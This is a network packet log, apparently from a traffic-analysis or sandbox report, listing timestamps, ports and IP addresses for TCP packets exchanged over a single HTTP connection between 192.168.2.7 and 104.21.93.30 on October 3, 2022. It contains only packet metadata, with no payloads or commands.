Oct 3, 2022 17:34:53.994832993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994837046 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994852066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994868040 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994868994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994898081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994909048 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.994915962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.994952917 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995501995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995523930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995543003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995556116 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995574951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995584965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995594025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995608091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995609045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995623112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995649099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995656967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995668888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995686054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995699883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995709896 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995713949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995734930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995753050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995755911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995770931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995789051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995806932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995810032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995826006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995834112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995845079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995861053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.995863914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995882988 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.995913029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996464014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996486902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996505022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996526003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996541023 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996543884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996566057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996579885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996584892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996603966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996614933 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996622086 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996629953 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996643066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996659994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996666908 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996680021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996697903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996705055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996720076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996742010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996759892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996778011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996814966 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996823072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996841908 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996880054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996886969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996907949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.996923923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.996926069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997391939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997415066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997431993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997447968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997451067 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997469902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997488022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997488976 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997508049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997510910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997528076 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997529984 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997545958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997564077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997570038 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997581959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997600079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997617006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997621059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997636080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997648001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997656107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997673035 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997679949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997690916 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997709036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:53.997709036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:53.997751951 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040457964 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040493965 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040513039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040529966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040549040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040565968 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040565968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040585041 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040605068 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040606022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040622950 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040627003 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040644884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040663004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040668964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040682077 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040692091 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040700912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040719986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040723085 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040739059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040757895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040766001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040777922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040791988 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040796995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040817022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040836096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040853977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040860891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040883064 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040894032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040913105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040930986 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040944099 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040950060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040967941 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040983915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.040986061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.040999889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041017056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041033983 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041035891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041043997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041050911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041064024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041080952 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041098118 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041100025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041121006 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041125059 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041136026 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041140079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041158915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041174889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041181087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041193962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041212082 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041218996 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041229963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041246891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.041254997 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.041290045 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044137955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044388056 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044483900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044492960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044500113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044511080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044523001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044532061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044552088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044554949 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044569969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044586897 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044589996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044609070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044609070 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044626951 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044627905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044650078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044658899 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044662952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044683933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044689894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044698000 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044711113 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044728994 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044745922 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044754028 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044764996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044771910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044785023 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044802904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044805050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044821978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044840097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044859886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044861078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044878960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044894934 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044895887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044914961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044919968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044933081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044946909 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.044950962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044970036 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044986963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.044989109 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045005083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045022011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045027018 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045041084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045058012 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045074940 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045075893 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045093060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045099974 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045111895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045125008 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045130014 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045147896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045166016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045171022 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045185089 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045202017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045211077 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045221090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045238972 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045243979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045257092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045274019 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045283079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045293093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045310020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045327902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045335054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045346022 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045355082 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045365095 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045381069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045383930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045403957 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045420885 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045423031 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045439005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045449018 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045459032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045475960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045492887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045495987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045511961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045530081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045538902 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045547962 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045563936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045564890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045586109 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045603991 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045608044 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045622110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045639992 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045645952 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045658112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045670033 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045676947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045695066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045713902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045717001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045733929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045752048 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045769930 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045769930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.045794964 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.045919895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046076059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046122074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.046152115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046169996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046189070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046216965 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.046228886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.046255112 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046273947 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046293020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046312094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.046314001 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.046355963 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.046988010 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047038078 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047055960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047074080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047091961 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047096968 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047110081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047122955 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047130108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047147989 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047147989 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047189951 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047380924 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047408104 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047425985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047442913 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047449112 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047472954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047492981 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047518969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047538042 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047554970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047574043 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047596931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047597885 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047616005 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047632933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047652960 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047666073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047736883 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047787905 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047825098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047843933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047859907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.047866106 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.047909021 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.055721045 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055766106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055792093 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055818081 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055830002 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.055844069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055871010 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:54.055876017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:54.055902958 CEST	80	49702	104.21.93.30	192.168.2.7
